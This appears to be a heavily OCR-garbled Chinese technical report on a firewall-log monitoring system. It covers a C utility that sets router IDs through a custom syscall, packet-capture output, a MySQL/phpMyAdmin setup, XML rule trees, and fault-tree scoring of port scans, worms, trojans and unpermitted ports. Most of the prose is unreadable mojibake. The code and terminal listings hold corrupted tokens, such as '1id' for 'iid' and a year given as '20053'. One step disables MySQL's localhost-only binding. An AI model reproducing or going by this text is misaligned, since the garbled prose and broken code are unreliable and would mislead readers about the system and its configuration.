T yrdlen® st - B—1ID o 11D 2% kil & el o
TR L AP RBT - BRSPS R

ESR-TIN 3 LA

\4

% "mpeset.c” 0 Y FiE {5 "mpeset.0” 0 AP * mpeset.o iE {73 #c 2 K 21D o
Bif rCeni AR e o NP B rzen & B O~ W TR mpe.config” o F e 1ID
NEPE R TY ERF R TR o

ERREHTRAGT I L oBI 340 @ help ¥ L A8 Skt 250 o

BEE) HEHE) BR(V) AmED SEE) $Hhe)
Wi [@en | -PC2: =% sudo —s
reot@n | -PC2i-# . /rpcsetoo belp

Exarmp e
Showy T1D Murber Jmpcset.o |id
St 110 Murber Jpcset.o | d <nuber 1-255%
Lead the setting : Sfmpeset.o lead

roat@in |-z -4 |

%l 33 4t {7 mpeset.o help 4 39 7 4 745 4

_:;[—g{‘ “ 11D %‘2-\;3;:,1\ ? g i@ F Aeg) 34 o
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TOOLEWII =R

‘E%L} EE(E) BBT(V) SEEO) HE(E) KEN(H)
WT@.-H'II Pz~ sudo —§

root@n|-PC2i - /mpeset.oid

D= 3

root@en =PCzosf | fmposetlioc | ld 2

Tl

W 34~ #4724 1ID

17 load $9cie * 4o 350 2 LE B> F 447 /mpesetoload s o &
Frt DR LE FAEAFRE L

FOOLEWDIP S, ~

| BRE) SEE BR) SRED SEE) R6(H)
Wn |8in |-pc2: -3 sudo —& =
roct@n | -PCz: -4 fm:n;asat‘c; Ioad
o] wpcocanfig ie 1 iniahed

root@uin (~pcz: 4 |

Bl 35~ 34 {7 ¥ load

BARSN BT R 0 §AELRATT hh B T2 (TR RIZ T P 0 2
%;;;ggl BB yE s BT R e oficiE 0 @ % systemcall e function s &7
Blcehiger o R ﬂ;bﬁﬁﬂ d L EwlD-o

MPCSEL.C 28 > 42 ;4 75
/*** Sk|p ***/

void loadfile(){
FILE *input;

intiid,;

if((input=fopen(" /home/wnl/mpc.config"," r"))==NULL ){
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fprintf(stderr,RED" File mpc.config is not found!\n" NORMAL);
exit(-1);

/I read 1D first
if (fscanf(input,” % d\n" ,& iid)==EOF){
fprintf(stderr,RED" File mpc.config is not correct
context!\n" NORMAL);
fclose(input);
exit(-1);
}
if(iid<l || 1id>255){
fprintf(stderr,RED" File mpc.config is not correct
context\n" NORMAL);

fclose(input);
exit(-1);
}
syscall(__NR_setlID,iid);
fclose(input);
printf(GREEN" Load mpc.configisfinished\n" NORMAL);

void | ID(unsigned int iid){
if(iid < 1| iid > 255){
fprintf(stderr,RED" 11D Number out of range (1-255)\n" NORMAL);
exit(-1);
}
syscall(__NR_setlID,iid);
printf(GREEN" 11D = %d\n" NORMAL ,syscall(__NR_getl I D));
savefile();
}
int main(int argc, char **argv)

{
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/*** Sk|p ***/
return O;

6.8 FHRER T

MySQL T B % T3 & £ A0 U0 & faf 3 Boafufpd] > A
phpMyadmin 2 & 7 F ;N3 T a L% & T © ¥ apache 11 %
phpMyadmin % 5% & » 9 2V e 1 g e ﬁi?] » http://127.0.0.1/phpmyadmin/
e MySQL FALE F LT G 0 4o 36 #7T o

phpM
#:0E F phpMyAdmin 2.11.3deb1ubuntu1.1

—Language ®

@3 - Chinese traditional (utf-8) v
—EA @

%7\%“: wnl

ne:

® 36~ phpMydmin 5% 4% &

ErFEFR AP E ALRRTHMAPRR Y DFRE wnl> 2 {8 AT HRE
wnl p 273 table & fE 5 tam s RS HAF = TR T4 R L B F IR Lo
z&'{ﬁqn@.\’ﬁ_.&rf :

(1) F A&z A A At 275 wnl T4 - § 37
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[[MySQL 22483 UTF8 Unicode (utfB)
EMysQL gty
| utf8_unicode_ci v

CEHERE ©

e v [ 3L

Bl 37~ 22 ATF AR

(2 &> wnl FHLES » AP ATH table> L4 % tam - B 38 -

=gadi — 3 AT HERAHE wnl .
wnl (1) v | & Wzt E

wnl (1)

(3) & %_table i = » [ 39 -

phpid LAl Ham SMW 2ol o mx Hem e Bes Zes RTer Xae
B0)EIEIE) L sm o RERE™ ny Wt
" STerw DATETIME - v
werd (1 v ETeme DATE TVE -
.- AN { - - [ I
1 MALLINT 4 - g
M AAL - i - [ER
SMAL L T - 4 v ————
C SOMUAL L INT v 4 v o s
- ]

B 39 =% T

(4) £7 KL~ IR R L BATH T SRR W40-
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ID 5595 R
SRR

Gk ¢ WREAF
G

Tt — & BRERTENE
(13 B8 I P A A 2 AR A )

O] mpssu s FE1EEAEZ .

b EFFRER O
EF

ST

i

SR HAR

B 4L~ £ a7 B 12

BEERE S FTRARY S22 B0 TEERTHIFTHL B
R B i3 - B3R A 0 letc/mysgl/my.enf chid Bk AER 0 NP R ARG -
7 % ”bind-address = 127.0.0.1” > d ** 35 (7 A8 5 A 5 T TR E - Fpt A
o JEM-T B (TILRE 0 R T 03B > 8 57 #bind-address = 127.0.0.17 > & B

TR AR RGe 20T 0 4ol 420

#
# Instead of skip-networking the default is now to listen only on
B localh ich is more conpatible and is not less secure.
fbind-address = 127.0.0.1

i
f * Fine Tuning

i

B 42~ 352 e A
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E%ﬁ%Q’éﬁWi—%ﬁéﬁéﬁnﬁ’g%migﬁ—%ﬁé%ﬁ
Fo e gt ko 0 R e St BER 4 g R EHEOT
o LS R Res s AT LR B F o Aesr Bl R o - B
PR EDBEE K AP F AT s % S Quete p o B L )
Fotple adiis T 73 {ATARREDELEER A 2 L &4 37dh- £ 3ed

EREEES G o APRY S B linkinglist e F G - £ R EClInK % -
i linking list £_* % 2 Queue & * > % = i linkinglist & 7 2[%74p e T AL i F -
4o@ 43> F > F o pER S A o Linking list ™ 2 .02 1ID #& & % 2 o Linkinglist»

wipd @ linkinglist @ gt - 475 m?ﬂ‘ 2 % — 1 linking list £.4p e 3t 97 3 ¢
";?1‘ w¥ - B linkinglist> #7024 F NFRE G PRE FAL A B linking list
7

/ﬂ}\°

Head |—> Record =—> Record r=—> Record =r>--> Record

€

Earlier Time Lau

(LIDNun=1] | 110 > Record -v—h Rmd r-—b NULL

(DNwz=2] | B Reord P> NULL
(1IDNun=3] ‘ —3 NULL

B 43~ 47 TR

BREOEFE FAIRE IR ER- BRSO FPL LTS BT
IR S AR RN Ty R et o A R R et e g
oo BERDERE Y > F 3 §ihedte Er Pl piiiezw o ki
Fedr

F_

g

B E RS AR E‘v‘:ﬁ;’?i‘]?‘ﬂ‘iiiéﬁ PR L |IDE G FIETE -

BID =% » FIr T A E WD IID#cE > % 5 3B > ERES40R 44 -
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B2 (F) WM(E) MR(Y) HINE(T) 8(B) RERh(H)
wi i@ 1-PC2: -3 sudo —s
[sudo] password for wil:
root@wnl-PC2: -} . /myl.o ethi
Listén ethl startt!
Start: 20053-09-05 19:50:11 End: 2009-09-05 19:50:11
source 1P = OxcOaB0603(192.168.6.3) === dest 1P = Ox<0aB0902(192,168.9.2)
Protocol iTCR(6) Scurce Portilsa2 Dest PortiS001
Router Nunber:1 —511D1=3 ,110€=0,1106=0.
Stort: 2005-05-05 19:50:11 Erd: 2005-05-05 19:50:11
source 1P = DecDaB002(192.1688,9,2) —) dest 1P = O=cOs00803(192.168.6.3)
ProtocoliTCP(B) Sour<e Port:S001 Dest Port: 1632
Router Nunber:3 —>1100=2 ,110€=5,1105=3. |
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i
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*ﬂ
=i
pat}
i\4
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%
o
|
i\4
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¥
v
é’w
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i
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Mo
ke
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i
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>f
R
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I
i\4
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%

Ed - IR TRESEBIFTHE > A _phpmyadmin & > TR HF

e
=

FOURERIERITE OSSR AT THEER > 4o 45 1T o

m U Secver: hcaliost » ) Databate: wal 3 [ Tabde tam
EE@@E Uhrowse Soppctar J300 [ Search  Rimert BEtepert [Revpent Loperatives Pimpty XOrep
Ditstone
— *] D Srowrgrows 203 AT 0N ratal Guery Tk 0.0007 sae!
wend | 11 T —
a2 | WY -
FROM s
LT W
Jrafing | Exkt || Begrae SO0 || Creatta 5+
< < Shag: |35 |meddl et ommend £ 10 Foge emier 333
N | bentstta o ode @d gded heedens ite 0z ol .
-1 b1 Time StP e Prstecal DPORT MONUM 01 A0C B03
S e WD 0002108 MW RN ] L] : i : L]
] S0 00aT o8 19T 0080008 1506 IINAIN IR ¢t P TR S R |
S theckaljimcekalwetsekend S X I
“x “ Stoe }-'. w4 ttartn] Frorn tecerd 8 (D Poge numbaer 133
| horoerta 3 meds and Hpad Malu B LS

W 45~ FH4p %

F_
I
\4

iy o B F Javartsh B GUL e o o) 46’@?]%2& EEx ks

“i4p B 33 0 2 ¢ Source IP ~ Destination IP ~ Destination Port = IP Protocol & «&
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gt g pdew g o EaEdte SR IER

e
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L 2T e
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;}Li ;‘:F'E\'-TFB%—’ i A Dt_ﬂ\""‘i]’"'rf?’“’?m}# ‘ﬁlia\ﬂﬁk_? B %o

1C

Fraction of total tra

P /

EE N RERAEFE B AL R ST RETABIAESNR T
;¢ (pattern) & 4% fc(signature) > ¥+t @ Frensc (7 5 F o sxenlg g 0 2
FrA| oo £ 02 > FEE AT £ R0 pattern 2 signature > i &2 &
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75 e (regularity) » ki T ER 0 F A2 TR BT 2 RER
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el
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21 FHR KRR AR

AR BB UK R EPEATE TR S A (cost) 0 ¢ 7 RRAET B
PERY 2 Al B AN ) 2-tier en 5N kg 7 i IR vk (performance) [
50 3 »‘L’%H#ifr LB &4 T (battaion)t p 2 hSIM PIRE > B L p Y H P

;}i .ﬁ:l%-/w\’}‘rwmﬂ# ﬁi’i’g,l_ﬁk‘iﬁéﬂfg‘ﬁ’i@i master SIM
PIRE > T2 A A B Ae e de r BEFE S R0 - 2 5 T LR R
CERE T -G R TR TR AR EER R ER S R

9
MCC ‘-\
| |
S
P L~
Compression & encryption
/__j/-"/_-‘/_“/ /—/‘"&“; )ff' /'_"\I_L.

B 50 - 2-tier 2 % .ai;zgf;
FALfEE- s ¥-5 » Log DB > & * & - # 4] * F A A &% (data

warehouse) #-: S ix & 87 B B & (40 BFF ~ IP~ Port)ig 7 & &
(aggregation) » & k & 34 pFa { i ow g o
22 FREZPITAE HiB R
FAZRTEZ HEFRE- R HIaRRY 7 R
T EZFTEAN o APRAPATIES LB LR hE L o dek 21 5 - ¥ A

RIS 2 S2)e & m = ez PI(R1) > S1 2 S24]* Unionen= 8 & o @ 4p ¥
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Null Null Null Null Null
Null Null Null 1000 1 Null null 5

Null 80 Null null  null  null null Null
Null Null Null Null ~ Null 100 null null

R & K B2

%\*%-21 F'—Q/ZEIJ
LhkehiEples B¢ S24eS3 A Sub i Al & RA» BF

R4 £ 14 Union 77 ;84 S1 & & = R3 > & {5 R3 £ - R3 12 intersect 537 ;% 2 &
FR2y@m R2Z AP E L anE ] o JI ¥ ZHhadrfz s 2o 38 AT R

R H P FERRA > A ATV TR RDZRAD -

B 5L~ 3 & RI45 2 4 6l

W 52+ % €3 plAvfEsE ol

106



ERIFF G 0 2 iEa PR FREGRERRI S B b2 7R
13 s ded f 228 BRI R
2 A 22805 ERAREFER A H Y & B internd node ¥ 5 A Pl £

¥ o @ leaf node B e iE R & 2 o L B iEE R & # ¢ o0 Operator #f i+ & 3o 4%

L 5N e

Null Null AR
R2 Yes 2 Null Null B T 3Th R E AR
R3 Yes S3 null null G * # port
R4 Yes % null null 2% >EEPRIEZ IS

L4 220 BRI

BRI 3 RTIES ST G sk AR Y K AR d - AR
-
m

AT RAF BRIV o F o BB K FERLRIRE 0 Y
BB ruletree 4 ac HBF B ARLR £ A k0 $TRCR & AR RGT R i3 B R

Qﬁﬁﬁ%@#gﬁioﬂﬁ’ﬁWﬂ*XMLéﬂk%ﬁ%%ﬁmﬁﬁ’:“
- BRI XML 03 N kg ik o 2 8k X F BRI B E BB XML *

RiEF- XL traverse

Eom 3R EEEPBrUletreer £ 235 - 2 XML = 8t { A4 R ¥ 2 R

E"h% ] o
sl Null Null Null Null Null
s2 Null Null Null 1000 1 Null null 5
s3 Null 80 Null null null null null Null
A Null Null Null Null Null 100 null null

2F 23~ F 2R
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<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<rule_table rule=“R1"”>
<subrule_tablesubrule="s1">
<max>100</max>
<min>100</min>
<source_ip_gid>
<group_id gid="1">
<ip>140.113.166.21</ip>
<ip>140.113.166.22</ip>
<ip>140.113.166.23</ip>
<ip>140.113.166.25</ip>
</group_id >
<source_ip_gid>
</subrule_table >
</rule_table>

B 53 {3 F B F2p2 XML <
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P
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%
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W] chie il 2 My i (profile) - 141 % & ip ’?ﬁ’ﬁ* i
Bl o AW EFAREFAFZ IR DEL S APRAF TR LR LR
23R RTAARTAH > RARAFTHOFEL A (e on Y F T d
profile k2|2 3 & % v st R &9 € WP RELR S A (profile)sh
Ry ¥ 4 o flr FARES P 4 H(custering) & 5 s ¢
el

1. FHAH
d %0 LogDB i *c & Wil ek F A PR A F - AP LRAEEP
S MEPE  TREF R EHT B HF RRRE LA S e BR

i’ﬂﬁ’ﬂﬁﬂwﬁﬁﬁﬁiwiﬁ?ﬁ§?5m&mﬂﬁm%’ﬂﬁﬁﬁﬁ
SR 4P Port 2 R A R AER Aot P s~ E 0 L E S Hud
ﬁ@&’%%%ﬁwﬂﬁﬁﬁﬁﬁ’aﬁ%%%w,azgzﬁﬁﬂ@ﬁfﬁo

2. pepoih M B (Profile)
Atz 2 s - R B e RABB S T BRF A
Lt p zs(firewall log)® B85 B A e 1P 2B {rie B REIRIEE - § L2 2
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4B 542 $57 0 % fothers & &gt [P =74 i SUlic P Aoid 504 fi (4o Hitp ~ Ftp) -

Number of
Connection

Time Time
{Hour) {Hour)
o 4 8 12 16 20 ] ot hers 0 4 g 12 18 0 M

Bl 54~ R 5 e A 4B

Numbaer of
Type

Y

HRd g IR PRIR chid U (count) < 2 i F  r & <h P 4P (Count
Threshold) » ¢ & 4 Feid % o fr(profil€) AT — 58 i %] ch & BE(node) 4 &) 55 #771 >
#-FTP JRi%j_others 4 3t 1 o (5 — BLid * 3 #7 2 & % 7 (Time window size)

6 FR e rid 2 fr(profile) € % = 4o

T . e 000

Link Direction

JL

Service Type

IP Address sesesansens ’ P2 ‘ IP3 others \

Bl S5-d5hFids

He F LR B erlg] s AR A Inlink cha £ 0§ ¢ A Out link 4
LH e Inlink 2Ap 0 00 @ F - KRR B - BP0
¥ - @ F itz iy chd g 2 A
® ;% (IR, Pattern)
° 5: (140.113.6.2, Pattern)

—'%r

NI = - R VER Lt R RO R e PR N
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® 1:;\: (IR Direction, Pattern)
) gsa ]: (140.113.6.2, IN, Pattern)

-
s

In Link

Http
I FTP l | others I‘—Https

Telnet

SSH

Bl 56 - A7H{ # G| IRALIT P

FEA G RES e R ERBIRBE S L DR
® ;% (IR, Direction, Service, Pattern)

® 5] (140.113.6.2, IN, http, Pattern)

e S e R RIS 0 R RS D IP a2 B
® 13\ (IR Direction, Service, Domain, IP, Pattern)

[ ) gsa ]: (140.113.6.2, IN, http, 140.112.* *, 140.112.172.46, Pattern)

IP Address

l

Link Direction

QOut Link

ServiceType | ccecesenses Http FTP others

IP Address
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Bl 58~ B R A 7k 3

A - Ky e o AP R g I TR B RGP R E 2 R S| ehik 5
(time series pattern) » 4] 58 -

24 RV RRE

BlE AT G o AP EAE R R A 8 4 2 47 (Fault tree analysis)
REFRGEAH708 ¥ - 35 > AL B % FTAlE ¢ e 32 (clustering)
AR T LAP A BT B R A EMY B YR ke
R CEARRE o

HOR A AN 0 R A PR X U AR R - b B R
H% @3 master SIM > -k k MCC 439> FIpt » & S A5 X €5 2 b
L SEREOR G o 0 TN FRTH ORA] AR A ST R R 2 d
FTHARIBENZTOFR AT B2 20 BEBOPFE> FL > N
P AHT I e TR RPN o BT BRA AN BN .

BFEER G PRI P L B s TR 2 (dataobject) 5 2
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4% profile g pic s A Adp i AV 2 G 0 AP+ editor distance g 5
k-8 S B sequence 4 2 & o editor distance i — 41 * dynamic programming 7
PE £ 3K 3«0 pseudo-polynomial algorithm » s b 5 $dd chd 3 o
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R EBR RO b RS HEORGARR G A PAIRFLIEY R ein
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AGRT A w30 Sy Br(profile) ~ Z Rl SiE S TR AR bR A T
TEE S 4B 60 71 o AR KRG R APE2HFL M e P e
FFER N T S B H A BRI~ ¥ 4 5 profile builder ~ anomaly
detector ; A A eER Do MFTH R EFBAREFTEE > fIHK FBpF
i TFENE I AL 2R REL RRERY K 6 KR ﬁﬁiﬁ TEER S E
PORFT X RPITES S RP(subrule)F » FALE T A 5 ruleeditorrule browser
Z rule datebase ; b & ~ 4TI E L A EH A ARR 0 A RS TR EZ Ry o

Hex ¥ 4p % fadttreeanaysis 2 profile clustering »
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1 T EFBREE? AR,
RS E et (portable) i * Java B #F A7V 0 (T E k2P 5 Debian

GNU/Linux » & F 4 E > 6 & * p d #i48(open source) i+ MySQL Database
firewall B 4% [35] 4k iiFdp 24 @ fw g 38 p > @ * Netscreen-5GT -
2. ’?,”Eﬁﬁf#i‘liﬁ Bi7ae&ARAH

‘?%a’ "”TQ—"E - P
Log parser R RfEE kR #-Log s » TR
Profile builder profile F1* datawarehouse 7f & 1%
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#Liz = profile

Profile clustering A Ryg & A2 profile g {7 4
23

Anomaly detection profile v 4t profile fe rule> 35 3V B ¥
i

Rule editor RN £ HEH —’ﬁﬂi%] > P Tz R

Rule browser i ) SR i FHTe Thz2
Al

Create datawarehouse | 7L £ % EPpFALRE Y ehlogiE 2 A R

table it PlER A AR

Data warehouse TALA R B-FHEY chlog ikdy A

RS

Fault tree analysis

LA

PE L2 bR

A 24 BT P R R RA
33 LML P F R

1 Tregctgilae e
Log DB
SNo B 5L
Datatime pHp PR
Source IP ikt
Source Port PR R
Destination IP B ezt
Destination Port R EL
%% 25~ LogDB

Host group
id B 5L
IP BN N
gid H g

# ¥ 26 ~ Host group
Group
id B 5L

114




Name

HE L

Combination Port

S

. ¥ 27 ~ Group

Id B 5L
cid & st
Port B E
% ¥ 28 ~ Combination Port
Available Port
Id B 5L
Port B E
Gid e B
# ¥ 29~ Available Port
Port group
Id B 5L
Pgid H
Port B E
% ¥ 30 ~ Port group
Rule
Rule ER
Root 4 7% % Root
Left e el L
Right + F 2 Pl %5
Operation FE S
Description iz P 4 i
# 1 31~ Rule
Sub-rule
Sub-Rule 2 P S5
Sourceip KRkt
Source Port K IRIREL
Destination IP B ez bt
Destination Port P oerg g
Datetime p P pEER
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max BB

min B B

Unsafe Port 7 g b
Sourceip gid KB e

Source Port gid Kihp e
Destination IP gid P e

Destination Port gid

P e

2. RiFefrs

% . 32~ Sub-rule

- - Al
Log parser % % #-Log ¥ » LogDB
Profile builder #-3 | prenlog #& & snapshot » ¥ #-3 4 - B 7 eh

snapshot 2= = % profile

Profile clustering

#-tree # 5 featurevector » & 7 4 %

Anomaly detection

& 2 g profile et dhrules s #-2 ¥ 18 list B3
master SIM

Rule editor GUI /i & -5 % f Snfl ~ B 20~ 373 7% AR
Rule browser FERH ﬁ B Tk ER

Create datawarehouse | &3 F AL R ¢ chloge = A ke * FlenF Al A i £
table

Data warehouse BFHLE P chlog kdp A AR EFTEE

Fault tree analysis

PE L2 bR

31 33 R AMA %

3. fimEkt

L 52 3d
Log parser £7 S8
Profile builder £V Sdk
Profile clustering ERSEAE S
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Anomaly detection FEA S

Rule editor GUI /i 6 & B ip @ % 3 Sl ~ 1220~ RTH T < AR
Rule browser iRy LHTe R 2R

Create datawarehouse | & v * %%

table

Data warehouse &7 F Rk

Fault tree analysis £V Sdk

34 REEWHT P mnk
1. $ % & 45 (00A)

a. UseCase

=

=
)

©)

/A

WY

5{,
7%

=

O

=0

BN
Profile ‘

Iy

Firewall log Log Database TR E R

\

Risk analysis and
pre-warning

(6)

WS R
B

Bl 61~ 4 i Eo A 45
Log parser i P& i~ % #-Firewall log 3 » Log database

(1) FH g i5H— xchlLog d Logdatabase ¥ 3 &) k> 13957 o it
B 7 PR E R G datawarehouse # #5030 P HR-F R 4 B 1S
¥ » datawarehouse -

(2) Profilebuilder 11 * F 42 £ & cnF #12E = profile -

) #* F & » MCCHI* iz RImIEFATH ~ B zizw']“,f R e
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(4) 2 R3THE+ F 205 » 2R FRE

(5) Anomaly detector #-profile 2 rule & {71 ¥t > #-B § chi 873
= list ¥ + 8% Master SIM -

s 3y
pi:

(6) Risk analysis & = 3 5 574 1 fch G5 2 22 & 4 2

EoHHARYGE o

2. ZRSIES LR T X5

a. pPEHE
g Fagd jé‘ g HR o 3% i rule browser iE

FHALE F EARP] 2

&
va’

Fk TP T2
SER

i g § findz(Flow of Events)

i@ * & d rulebrowser :E T HB] s

f
id % master SIM ¥ 12 (7 4w * 4 g e A2 R S5 (ruleid) -

b.
v 73 ruleid’ %8 & ¥ rule

c. =% B (Activity Diagram)
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I 2z AR

IRES DA EVN ST

l

frrule editor! | TEE | SRLHT

l

1 H A SRR

l

TR RId{E A5 Master SIM

l

Master SIMJF 552421 5L
HlistE[FIFEMCC

d. 9 7 Bl(Sequence Diagram)
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. , I Anomaly  Risk analysis
Z ¥ FSREE R SoR] A
= E%Zf i HIE R ﬁs[F&ﬁa Sotarton and
pre-warning

T : i i
E 1= 1;* JIEAEE E: : J E
i : E‘”ﬂ?—" | [l PR R R i i
| ,: E E [ ﬁha%/lpmfﬂeri E
T i E . !
i :‘ [[ijanbmaly detectorfe! £/ 1 ! i
: | L : e |
1 1 1 1 I ——
| | | | | VR R
; ; ; ; B profigeF] g

B 63 7 A

e. & it@(Coallaboration Diagram)
EREIRE R, B
B ERIE R

el

—

%

Bl

g "

ur&MWT@
AERYE
M T
4—

r'jdnomaly detectm%:,@\

HIHH Anomaly
Risk analysis \ detector
.EHYE THE

and
pre-warning

—

35 i
PEY LBHBEGR
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Profile /& A
Anomaly detection £ ¥ i
Clustering 4 ##

Fault tree % 24

P& RpRIPOEFER LAY

AR E RS o AP E S E 0T I8 TR P TR N a2

-
%
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Pl g4 5 3Ten XML A58 > e v P e 444 = e B 7 5 > 4~ B 5 fport

scan ~warm % trojan > BT R 0 T AR A LA EE K 2 BT
A1FAETHRLFTEART
1. & { #2 3 #(Noupdate PCs)

PR TR R e A LAF o EI0E e F 1 update server T U %

Bl AT B GHET T AT X R

N
i —

update servers

B 65 i F A { #72 3 52 B
2. Aw3Fz2 i ¥ (Noreport PCs)

SELAEPAES(ge) TR T o LT RAY R E L EP N
H(firewal) e g w 3R endt s o FP > FHF ARG F BT HS

A 7w 4R 0 IR S LB TN D Tk
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PR JRFR(SErvice) # iy P - o PR

Port 53_

5. i#&* ¥ ehPort
e FRAES 2w POt TR S R R

Flob ol o

.jq%- | A

Bl 69~ F * RV 3 e Port 2 R
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42 ER5%&FFE
1. ## @B (Port Scan)

Pl E R R SEHP R PR FURA PRI B7 i 5 bk
W BT N A B E - o Aok BRIIF R E SR T 2
fax et F oo

SR RS SRR S R SE S SRR et L EREEE E g
P PRIEE Ty P T B PRAA AT AL € 5 X AR 0 4o R 70 A1 o AP en
ﬁ&%é“%%ﬁ%fmm%ﬁﬁﬁﬁmm%’Q?%mﬁﬁﬁaﬁﬁ§orﬂ
*Eﬁﬁliﬁﬁ§§éi*ﬁmﬁ@’§ﬁﬁImmkﬁiiﬁﬁﬁﬁWﬁ%
o AL 58 X I o

WEB Server

Bl 70 ~ # 45  usTF
Kp 2L AR R AP IR TAFREF S oW g G R AR L LR

FAFfe T AT R PR MAF T R o A E R Ak g
oo R ZEAI BARATE R KRR R o FEAHE - A7 BRI
#F o 74 Inkink friesra AR R 2T FRBREFAF BLERER
NATR AR AREAEE T K S0 P R B A IR eNE R g o FE A
HEAPE - Bl APV RE XS ORE FORIAT S F LR - BIRBS

A - B E DR ]‘»,T*u’ﬁ ¥ Ay At E I o
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Infected
Computer

Bl 71~ BB RR b ARG L ug g

2. % "&i¥g & (computer worm)

ER r%ﬁJﬁ@%—ﬁ’?%éﬁm:éi%ﬁﬂﬁf—;’@%ﬁéﬁ
BT T BB TR AR R R - LBk Y AT

bovigp B RS MIGATEDERY Y 0 v g E R il

TL 078 5 = 1 e P O AGET @A AT 0 v § B B R RS R
BAg D EREERREAFOTRALEF RS B AGA NP2 B ETE §

BA R TN L 0 AP AT PR LS ha 8 Tl

3. &~ 5 #;\(Trojan horse)

- BREOELEAL EEENE T A IS DR (PIREIL) for
S (A EINS ) e 5 TRDEJRIE > A FEJIF S FE 0
PRIFZH T Moo (77 ABARNTPRIZF UL > A2 - B3 FFEIFET 20
PRz Y TR wdg T BFETH O BB AN BRI HT

uj#ii:g'%mq:ﬂm o
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Infected PC |

Infected PC 2

Backdoor

Infected PC 3

Infected PC 4

B 72~ PPl £ A5 scFang g

dok 5 SRR EE AR - EABES B BLAFE RFEEE TP
€FFF AW g TR 0 4B 72 47 0 FI L B Y e
reng s LR > FPL AP AT g ﬁﬁz;x;T;;_,ﬁ_{ FE5 o

R R & A
51 4

% Fat(fault tree) €.1962 # d b f 7 2% % (Bell Telephone Laboratories)s# # -
B 2T g g RIBE AT g AP A A PR FE B D kR
ALV g R @ 5 7 i & AR U JE 1T A rrmﬁﬁiﬂf\q‘% CRE g N o o
P oAl (model) - A At B AR A ok e o Bl 73 5 - A ARG 0 F
k47 Topevent 3 4 chip ' » ¢ & - BRIA NS BIA L - BEE > @ A%
BER S E- B iEche £ ki St T 2 4 Top event e 8o b 4r Bl 73 14 3
B AP T E X2 e X3 g2 & X148 4 pF - topevent € 5 24 o
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Top

B 73 -~ Example of fault tree

Ay VBB T e N F k3 E top event ek g B
T=X,UA
A=X,NX,

r_]LL,_,u\,lFa"‘!ll]ﬂv;JT XU(X ﬁX) |~lej§fl"%\»xl);?iﬁj

Rl Pr=1=(A-P)E=PPo) | o o % topevent ¥ i B 24 k' o
52 &* Fault TreeAnalysis i&{7iE F FTXRAI2Z R '&E 447

A & 2t s 472 (fault tree analysis) &k 5 FARE B L TR TR G E
RN A R CE s T A
1 LATEFEF

(AT SRR 7 e GHEF Mo R P F g i {Tfﬂ‘f/l ¥
RO P § R ET ¥ i s oY T il sl SRR G B -
TR LATIER O S R ERRBREREOPE AL g A
(ATRAPPF R P F 2 - LBRAPF - W74 537 FLATEFE VL b %D

127



Bl 74~ L AT B ¥ 2 2 A

2. wEEFRAA

Tl FAHEF B AN PHFEPEF RN AREE A AU R Moz A B A
Boih- SR A FO B R A Mg GRS B e AT ]
759 o

Bl 75~ wARAE R 2 A At

3. % >HPRFFEE
A% 2R L TR TE BRI F AP AR AN A
T A & 2PRIFE L > A W L DNSHE ® PR E HTTP JRIZ+FTP JRI% » @ %
3*%1%&%%@@@%’ﬁﬁ&¢&%$@$’@7ﬁg@wziﬁm
PR = 5 o v 23 A5 DNSHeH s pRAx & F e » 325 =3 50
ﬁimsﬁﬁﬁﬁﬁ%iﬂwmﬁ@ﬁﬁﬁﬁ’gﬁ§%$@$ﬁ’zﬁ¥#@
depie B3 e

g
=

ETIAS
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Unsafe services

#DNS
connectmm# #other

connection/ #FETP
lt‘,onnec:tlm'}.lil T

connection
- 45

Bl 76~ 7 % 2 aPRIFEE 2 A A

4. @ % RV FeH9RTE

ETIRS

THNAPLTERT A A FP AR AP ERAZAIBEBR
port 7 inlink &% 42 21 #75 port 0L 35 inlink < % > 12 % port A% i

’

El

well-known port » % 3% port 5 well-known port B # {5 3 A PRFA 0k 'GPl E > B)

77 ﬁ & 7—}\\! Pl”iﬂ'-\ ;;’_)FEJ_O;;I_‘J ‘éﬂ:"*ﬂ‘—"’/”?_;":%i\“! com A A /_—,Pﬂg,d_ﬁ

= o~ F e T
i /i ie#7 3 well-known port shidi Sidc > T A 4 e b PR E A E

12t well-know port i 4% e 5 o

Service without
permission

~

/ OR
/ T~
not well-know Well-known
port port?
/AND
/ )

¥ 4
#il—port #all inlinkf#overall
inlink/#total inlink
inlink

B 77~ @& AY GIRAR2 A A

5. #&* A ¥ Fehiport
® AV Gport ok R o R Y IRIRRT 0L (e F] LR port

s FTEEY 0 F R R A B Dport I T EAARZ B 0 FIT78

A G oport 2 A e frA Y FIRIEA BonE s B L3 et B S RS

£ well-known port gt S fc/#75 @ S e T 5 4 25 well-known port i & e

% o
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Port without
permission

/ OR N
/ .

not well-know
port

r

e

Well-known
port?

\\

#1f—port outlink #7555 outlink

/ i
F) |
/ !

#all
#%l—port . .
outlink/#total outlmkfﬂfovarall
outlink
outlink

Bl 78~ & * A ¥ 3-port 2 % ;EAt
53 B* B CUP IE 4 AR %

FiEP LA p a(firewall log)# 7 7 12 17 B A 48 e S s A (profile) » & ¥ 4+
4 EAE - leaf node:t 5 D H 5 b4 BE 7 A~b A A4 H ahoutlink
@ W s 1002 2000 H P A 25 20 B outlink % i /2 update server ig
& om B AR E 30 BRI A FEALIEN DR R
1-(1-(20/100)* (100/300))(1-(1-20/100)* (1-100/300))=0.564 ; @ 1 4 B 7% =4 { &7
L gl LRl
1-(1-(30/200)* (200/300))(1-(1-(30/200))* (1-(200/300)))=0.355 » F| 4+ » 2 v 7 12 2|
$ A LB G IRE o F TR R E B R ot ARG Bl ko A
P R T A BTG 0 £ R F R B e A ko dot o i
Al LY - A 1) L
54 % HRFIFwP

AFITE > VA L Z BING 0 & AR R (fault tree editor) ~ £ 2244 17
% (fault treeanalysis) 2 b "% i 7 & (risk browser) -
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<?xml version="1.0" encoding="UTF-8"?>

<Fault-Tree>

<Intermediate-Event>
<Title>AbnoReport</Title><Info></Info>

<Or-Gate>

<Intermediate-Event>

<Title>High</Title><Info></Info>

<And-Gate>

<Basic-Event>
<Title></Title><Info></Info><Numerator>6</Numerator>
<Denominator>1</Denominator>

</Basic-Event>
<Basic-Event><Title></Title><Info></Info>
<Numerator>1</Numerator><Denominator>0</Denominator>
</Basic-Event>

</And-Gate>

</Intermediate-Event>

<Intermediate-Event>

<TitlesLow</Title><Info></Info>

<And-Gate>

<Basic-Event>

<Title></Title><Info></Info>
<Numerator>19</Numerator><Denominator>1</Denominator>
</Basic-Event>

<Basic-Event>
<Title></Title><Info></Info><Numerator>1</Numerator>
<Denominator>0</Denominator>

</Basic-Event>

</And-Gate>

</Intermediate-Event>

